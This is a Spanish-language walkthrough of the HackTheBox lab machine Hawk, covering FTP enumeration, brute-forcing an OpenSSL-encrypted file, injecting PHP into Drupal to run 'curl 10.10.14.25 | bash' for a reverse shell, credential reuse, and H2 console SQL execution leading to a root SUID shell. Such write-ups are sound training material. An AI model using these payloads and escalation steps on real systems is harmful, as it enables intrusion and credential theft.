¡Hola! Vamos a resolver de la máquina Hawk
de dificultad “Media” de la plataforma HackTheBox.
Técnicas Vistas:
- OpenSSL Cipher Brute Force and Decryption
- Drupal Enumeration/Exploitation
- H2 Database Exploitation
Preparación Entorno
Antes de iniciar la fase de enumeración y reconocimiento procederemos a crear un directorio de trabajo con el nombre Hawk
. Una vez creado accedemos al directorio y con la ayuda de la función que tenemos definida en la zshrc mkt
crearemos cuatro directorios de trabajo nmap, content, exploits y scripts
donde almacenaremos de una manera ordenada toda la información que vayamos recopilando de la máquina en función de su naturaleza.
1
2
3
function mkt(){
mkdir {nmap,content,exploits,scripts}
}
Reconocimiento
Accedemos al directorio de trabajo nmap
e iniciamos nuestra fase de reconocimiento realizando un ping
a la IP de la máquina para comprobar que esté activa y detectamos su sistema operativo basándonos en el ttl
de una traza ICMP.
1
2
3
4
5
6
7
❯ ping -c 1 10.10.10.102
PING 10.10.10.102 (10.10.10.102) 56(84) bytes of data.
64 bytes from 10.10.10.102: icmp_seq=1 ttl=63 time=38.3 ms
--- 10.10.10.102 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 38.334/38.334/38.334/0.000 ms
Identificamos que es una maquina Linux debido a su ttl (time to live) correspondiente a 63 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).
- TTL => 64 Linux
- TTL => 128 Windows
Continuamos con la enumeración de los 65535 puertos en la máquina.
1
2
3
4
5
6
7
8
9
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.102 -oG allPorts
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 63
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
5435/tcp open sceanics syn-ack ttl 63
8082/tcp open blackice-alerts syn-ack ttl 63
9092/tcp open XmlIpcRegSvc syn-ack ttl 63
Luego de identificar los puertos abiertos OPEN
, se procede a escanear servicios y versiones que puedan estar corriendo en los puertos abiertos detectados.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
nmap -sCV -p21,22,80,5435,8082,9092 10.10.10.102 -oN targeted
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 ftp ftp 4096 Jun 16 2018 messages
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.10.14.25
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e4:0c:cb:c5:a5:91:78:ea:54:96:af:4d:03:e4:fc:88 (RSA)
| 256 95:cb:f8:c7:35:5e:af:a9:44:8b:17:59:4d:db:5a:df (ECDSA)
|_ 256 4a:0b:2e:f7:1d:99:bc:c7:d3:0b:91:53:b9:3b:e2:79 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-generator: Drupal 7 (http://drupal.org)
|_http-title: Welcome to 192.168.56.103 | 192.168.56.103
|_http-server-header: Apache/2.4.29 (Ubuntu)
5435/tcp open tcpwrapped
8082/tcp open http H2 database http console
|_http-title: H2 Console
9092/tcp open XmlIpcRegSvc?
Reconocimiento FTP
Observamos que tenemos la capacidad de conectarnos por FTP a la máquina víctima de forma anónima. Nos concectamos y dentro del directorio messages
encontramos un archivo .drupal.txt.enc
. Nos lo descargamos a nuestro equipo para examinarlo detenidamente
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
❯ ftp 10.10.10.102
Connected to 10.10.10.102.
220 (vsFTPd 3.0.3)
Name (10.10.10.102:yorch): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 ftp ftp 4096 Jun 16 2018 messages
226 Directory send OK.
ftp> cd messages
250 Directory successfully changed.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 ftp ftp 4096 Jun 16 2018 .
drwxr-xr-x 3 ftp ftp 4096 Jun 16 2018 ..
-rw-r--r-- 1 ftp ftp 240 Jun 16 2018 .drupal.txt.enc
226 Directory send OK.
ftp> get .drupal.txt.enc
local: .drupal.txt.enc remote: .drupal.txt.enc
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for .drupal.txt.enc (240 bytes).
226 Transfer complete.
240 bytes received in 0.00 secs (605.6201 kB/s)
El archivo contiene una cadena en base64. Aplicamos decode y guardamos en archivo drupal.enc
, al examinar el nuevo archivo vemos que está encriptado con openssl y protegido con un password (salt)
1
2
3
❯ cat .drupal.txt.enc | base64 -d > drupal.enc
❯ file drupal.enc
drupal.enc: openssl enc d data with salted password
Asumiendo que el tipo de cifrado más común es el aes-256-cbc
y con el diccionario rockyou.txt
vamos a crear un script para aplicar fuerza bruta y así poder extraer la infromación encriptada
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/bin/bash
function ctrl_c(){
echo -e "\n\n[!] Saliendo...\n"
tput cnorm; exit 1
}
# Ctrl+C
trap ctrl_c INT
tput civis; for password in $(cat /usr/share/wordlists/rockyou.txt); do
openssl aes-256-cbc -d -in drupal.enc -out drupal.decrypted -pass pass:$password &>/dev/null
if [ "$(echo $?)" == "0" ]; then
echo -e "\n[+] La password es $password\n"
exit 0
fi
done; tput cnorm
Tras ejecutar el script averiguamos que la password es friends
. En el directorio de trabajo que nos encontramos el script ha generado un archivo drupal.decrypted
con la información desencriptada
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
❯ nano decryptor.sh
❯ ./decryptor.sh
[+] La password es friends
❯ cat drupal.decrypted
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: drupal.decrypted
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ Daniel,
2 │
3 │ Following the password for the portal:
4 │
5 │ PencilKeyboardScanner123
6 │
7 │ Please let us know when the portal is ready.
8 │
9 │ Kind Regards,
10 │
11 │ IT department
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Reconocimiento Web
Iniciamos el reconocimiento del servicio web con la herramienta whatweb
la cual nos muestra información sobre las tecnologías web que incluyen sistemas de gestión de contenido (CMS), plataformas de blogs, paquetes de estadísticas / análisis, bibliotecas JavaScript, servidores web y dispositivos integrados.
1
2
❯ whatweb http://10.10.10.102
http://10.10.10.102 [200 OK] Apache[2.4.29], Content-Language[en], Country[RESERVED][ZZ], Drupal, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.10.102], JQuery, MetaGenerator[Drupal 7 (http://drupal.org)], PasswordField[pass], Script[text/javascript], Title[Welcome to 192.168.56.103 | 192.168.56.103], UncommonHeaders[x-content-type-options,x-generator], X-Frame-Options[SAMEORIGIN]
Observamos que la página web corre bajo Drupal
. Accedemos y nos econtramos un panel de login. De forma paralela observamos en el puerto 8082 una página que hace referencia a H2 Console
que buscando en google vemos que es un sistema administrador de bases de datos. Nos bloquean conexiones desde equipos externos
Probando típicas credenciales por defecto no conseguimos mucho. Con las credenciales anteriormente conseguidas tratamos de loguarnos como daniel
sin éxito. Sabiendo que el usuario admin existe probamos la password obtenida por si hubiera reutilizción de contraseñas y logramos acceder
Sabiendo que Drupal usa PHP podemos inyectar código a través de la creación de un artículo. Antes que nada debemos acceder al menú de la barra superior Modules
y activar la casilla de PHP filter
y aplicar configuración
Procedemos a crear un artículo incluyendo el código en PHP <?php system("curl 10.10.14.25 | bash"); ?>
en el body. En la máquina atacante creamos un archivo index.htm
con el onliner de bash para entablar una reverse shell, levantamos el servidor HTTP en el mismo directorio de trabajo y en una consola a parte nos ponermos en escucha en el puerto 443. Posteriormente clickamos preview
en el artículo para ganar acceso a la máquina víctima
En el directorio personal del usuario daniel
ecnontramos la flag de usuario
1
2
www-data@hawk:/home/daniel$ cat user.txt
1f606deaded66babf***************
Movimiento Lateral
Enumerando grupos, privilegios no econtramos nada interesante sin embargo listando permisos SUID encontramos el binario pkexec
aunque esta vez no escalaremos privilegios por esta vía. Si recordamos teníamos acceso a H2
pero no podíamos acceder de forma externa. Aprovechando que tenemos acceso a la máquina víctima lanzamos un curl
a este servicio y observamos la respuesta
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
www-data@hawk:/$ curl localhost:8082
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!--
Copyright 2004-2014 H2 Group. Multiple-Licensed under the MPL 2.0,
and the EPL 1.0 (http://h2database.com/html/license.html).
Initial Developer: H2 Group
-->
<html><head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
<title>H2 Console</title>
<link rel="stylesheet" type="text/css" href="stylesheet.css" />
<script type="text/javascript">
location.href = 'login.jsp?jsessionid=630bba3e27852cf7447113bf4a7c5b7f';
</script>
</head>
<body style="margin: 20px;">
<h1>Welcome to H2</h1>
<h2>No Javascript</h2>
If you are not automatically redirected to the login page, then
Javascript is currently disabled or your browser does not support Javascript.
For this application to work, Javascript is essential.
Please enable Javascript now, or use another web browser that supports it.
</body></html>
Verificamos que nos sale contenido diferente al que nos presentaba la web de fomra externa. Como sabemos que dentro de /var/www/html
se encuentra aloja la web procedemos a busar de forma recursiva en todo el contenido por la palabra password
1
2
3
4
5
6
7
8
www-data@hawk:/var/www/html$ grep -r "password" | less -S
.
.
.
sites/default/settings.php: 'password' => 'drupal4hawk'
.
.
.
Localizamos una credencial en el archivo settings.php
. Listamos contenido del archivo para observar detenidamente
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
www-data@hawk:/var/www/html$ cat sites/default/settings.php | less -S
.
.
.
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupal',
'username' => 'drupal',
'password' => 'drupal4hawk',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);
.
.
.
Tratamos de migrar al usuario daniel con la password encontrada por si hubiera reutilización de contraseñas y conseguimos migrar. Vemos que el sistema nos ha otorgado una shell en python. Importándonos la librería os
podemos ejecutar comandos de sistema y migrarnos a una bash
1
2
3
4
5
6
7
8
9
www-data@hawk:/var/www/html$ su daniel
Password:
Python 3.6.5 (default, Apr 1 2018, 05:46:30)
[GCC 7.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.system("bash")
daniel@hawk:/var/www/html$ whoami
daniel
Escalada Privilegios
Al tener las credenciales de daniel podemos mediante la herramienta ssh
hacer un Local Port Forwarding
indicando que el puerto 8082 de la máquina nos lo traiga al puerto 8082 de nuestra máquina atacante. Ahora podemos acceder sin restricciones
1
❯ ssh daniel@10.129.93.186 -L 8082:127.0.0.1:8082
Si tratamos de conectarnos con los datos que viene por defecto en pantalla nos salta un error de conexión. Si modificamos la palabra test
el campo URL JDBC
por cualquier otra cadena logramos acceder
Observamos que tenemos que insertar una instrucción SQL. Una búsqueda en Google y localizamos la página de mthbernardes dónde tenemos unos payloads en SQL. Probamos el payload para ejecutar el comando whoami
y nos responde. Tenemos RCE y ya sabemos que el proceso está ejecutándose por el usuario root
Sabiendo que el proceso es ejcutado como root podemos asignar privilegios SUID a la bash
Ya sólo nos queda ejecutar con el usuario daniel el comando bash -p
el cual nos otorga una bash con privilegio de root. la flag de root la encontramos en el directorio /root
1
2
3
4
5
daniel@hawk:/var/www/html$ bash -p
bash-4.4# whoami
root
bash-4.4# cat /root/root.txt
299957dc14343d217***************
Hemos completado la máquina Hawk de HackTheBox!! Happy Hacking!!